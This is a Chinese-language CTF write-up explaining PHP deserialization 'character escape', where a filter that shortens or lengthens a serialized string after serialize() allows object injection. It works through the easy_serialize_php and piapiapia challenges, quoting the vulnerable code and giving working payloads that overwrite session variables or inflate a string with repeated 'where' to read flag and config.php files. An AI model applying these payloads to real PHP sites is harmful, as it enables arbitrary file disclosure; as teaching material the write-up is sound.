php反序列化字符逃逸,其实就是利用过滤函数会使序列化字符串增长或缩短的特性,来构造新的序列化字符串进行攻击。
漏洞成因
序列化字符串在经过过滤函数不正确的处理而导致对象注入,主要原因是过滤函数放在了serialize
函数之后。
缩短逃逸
参考文章
BUUCTF之[安洵杯 2019]easy_serialize_php
代码审计
<?php $function = @$_GET['f']; extract($_POST);
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION)); if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); } function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } ?>
|
extract()
函数用于将数组中的键值对转换为变量。使用extract()
函数时,数组的键成为新变量的名称,而数组的值成为这些变量的值。
根据extract()
我们可以进行变量覆盖,当我们传入SESSION[flag]=123
时,SESSION["user"]
和SESSION['function']
全部会消失,只剩下SESSION[flag]=123
。
<?php $arr = array('name'=>'jt'); extract($arr); echo $name; ?>
|
反序列化字符逃逸
<?php $_SESSION['phpflag'] = ';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; $_SESSION['img'] = base64_encode('guest_img.png'); $serialize_info = filter(serialize($_SESSION)); function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } echo $serialize_info;
echo serialize($_SESSION);
?>
|
解题
构造的序列化串为;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
$_SESSION['phpflag'] = ';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
|
由于是由extract($_POST)
重新设置的变量,最终payload
为
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
/d0g3_fllllllag
里应该就是flag
了,将payload
中的ZDBnM19mMWFnLnBocA==
替换成L2QwZzNfZmxsbGxsbGFn
即可。
增长逃逸
通过下面这个例子学习一下:
不能对$pass
进行改动,要求输出hack
。
<?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}';
public $pass='123456'; } $AA=new A(); echo serialize($AA)."\n"; $res=filter(serialize($AA));
$c=unserialize($res); echo $c->pass; ?>
|
==[0CTF 2016]piapiapia==
关键代码:
<?php require_once('class.php'); if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
$profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); } ------------------------------------------------------------------------------------ public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
<?php require_once('class.php'); $username = $_SESSION['username']; $profile=$user->show_profile($username); else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> ------------------------------------------------------------------------------- public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; }
|
解题
序列化后,紧接着就是对序列化字符串进行过滤,想到反序列化字符逃逸漏洞,where->hacker
本题是增长逃逸。
利用数组绕过preg_match
对nickname
的检查,传入nickname[]
即可。
因为前面是数组,所以闭合方式由";
变成了**";}
**,因此也要多加一个where
,最后的payload
如下:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere ";}s:5:"photo";s:10:"config.php";}
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere ";s:5:"photo";s:10:"config.php";}
|
注:
拿到了后门文件后发现www
目录下有许多.php
文件,但是依然没有任何思路,傻傻的分析这些代码还以为是sql
注入🙃。看wp
才知道要访问一下这些文件的路由,其实分析代码的时候也能看出来这些.php
文件都是可以访问的。
这道题思路payload
都没问题后,还是一直打不通,换了两个bp
三个浏览器,Hackbar
也尝试过,都失败了😭。解决过程:
经过不同的测试后发现可能是bp
里虽然修改了,但是提交的数据还是原来的内容,我还一直以为是我bp
的问题。最后发现其实是将数据包发送到Repeater
后的修改无效😅,真离谱。所以抓包后要先修改内容,再把数据包发送到Repeater
,这样的修改才是有效的。